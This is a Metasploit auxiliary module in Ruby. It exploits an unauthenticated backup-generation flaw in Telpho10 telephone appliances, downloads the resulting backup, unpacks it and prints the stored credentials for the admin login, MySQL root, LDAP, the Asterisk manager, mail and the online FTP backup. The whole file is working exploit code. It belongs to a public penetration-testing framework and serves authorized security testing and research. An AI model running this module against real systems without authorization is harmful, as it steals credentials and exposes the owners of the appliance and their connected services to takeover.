metasploit-framework/modules/auxiliary/admin/http/telpho10_credential_dump.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Telpho10 Backup Credentials Dumper',
        'Description' => %q{
          This module exploits a vulnerability present in all versions of Telpho10 telephone system
          appliance. This module generates a configuration backup of Telpho10,
          downloads the file and dumps the credentials for admin login,
          phpmyadmin, phpldapadmin, etc.
          This module has been successfully tested on the appliance versions 2.6.31 and 2.6.39.
        },
        'Author' => 'Jan Rude', # Vulnerability Discovery and Metasploit Module
        'License' => MSF_LICENSE,
        'References' => ['URL', 'https://github.com/whoot/TelpOWN'],
        'Platform' => 'linux',
        'Privileged' => false,
        'DisclosureDate' => '2016-09-02'
      )
    )

    register_options(
      [
        Opt::RPORT(80)
      ]
    )
  end

  # Used for unpacking backup files
  def untar(tarfile)
    destination = tarfile.split('.tar').first
    FileUtils.mkdir_p(destination)
    File.open(tarfile, 'rb') do |file|
      Rex::Tar::Reader.new(file) do |tar|
        tar.each do |entry|
          dest = File.join(destination, File.basename(entry.full_name))
          next unless entry.file?

          File.open(dest, 'wb') do |f|
            f.write(entry.read)
          end
          File.chmod(entry.header.mode, dest)
        end
      end
    end
    return destination
  end

  # search for credentials in backup file
  def dump_creds(mysql_file)
    file = File.new(mysql_file, 'r')
    while (line = file.gets)
      if line.include? 'adminusername'
        config = [line]
      end
    end
    file.close

    print_status('Login (/telpho/login.php)')
    print_status('-------------------------')
    print_good("Username: #{config.first[/adminusername','(.*?)'/, 1]}")
    print_good("Password: #{config.first[/adminpassword','(.*?)'/, 1]}\n")

    print_status('MySQL (/phpmyadmin)')
    print_status('-------------------')
    print_good('Username: root')
    print_good("Password: #{config.first[/dbpassword','(.*?)'/, 1]}\n")

    print_status('LDAP (/phpldapadmin)')
    print_status('--------------------')
    print_good('Username: cn=admin,dc=localdomain')
    print_good("Password: #{config.first[/ldappassword','(.*?)'/, 1]}\n")

    print_status('Asterisk MI (port 5038)')
    print_status('-----------------------')
    print_good("Username: #{config.first[/manageruser','(.*?)'/, 1]}")
    print_good("Password: #{config.first[/managersecret','(.*?)'/, 1]}\n")

    print_status('Mail configuration')
    print_status('------------------')
    print_good("Mailserver: #{config.first[/ipsmarthost','(.*?)'/, 1]}")
    print_good("Username:   #{config.first[/mailusername','(.*?)'/, 1]}")
    print_good("Password:   #{config.first[/mailpassword','(.*?)'/, 1]}")
    print_good("Mail from:  #{config.first[/mailfrom','(.*?)'/, 1]}\n")

    print_status('Online Backup')
    print_status('-------------')
    print_good("ID:       #{config.first[/ftpbackupid','(.*?)'/, 1]}")
    print_good("Password: #{config.first[/ftpbackuppw','(.*?)'/, 1]}\n")
  end

  def run
    res = send_request_cgi({
      'uri' => '/telpho/system/backup.php',
      'method' => 'GET'
    })
    if res && res.code == 200
      print_status('Generating backup')
      sleep(1)
    else
      print_error('Could not find vulnerable script. Aborting.')
      return nil
    end

    print_status('Downloading backup')
    res = send_request_cgi({
      'uri' => '/telpho/temp/telpho10.epb',
      'method' => 'GET'
    })
    if res && res.code == 200
      if res.body.to_s.bytesize == 0
        print_error('0 bytes returned, file does not exist or is empty.')
        return nil
      end

      path = store_loot(
        'telpho10.backup',
        'application/x-compressed',
        datastore['RHOST'],
        res.body,
        'backup.tar'
      )
      print_good("File saved in: #{path}")

      begin
        extracted = untar(path.to_s)
        mysql = untar("#{extracted}/mysql.tar")
      rescue StandardError
        print_error('Could not unpack files.')
        return nil
      end
      begin
        print_status("Dumping credentials\n")
        dump_creds("#{mysql}/mysql.epb")
      rescue StandardError
        print_error('Could not find credential file.')
        return nil
      end
    else
      print_error('Failed to download backup file.')
      return nil
    end
  rescue ::Rex::ConnectionError
    print_error("#{rhost}:#{rport} - Failed to connect")
    return nil
  end
end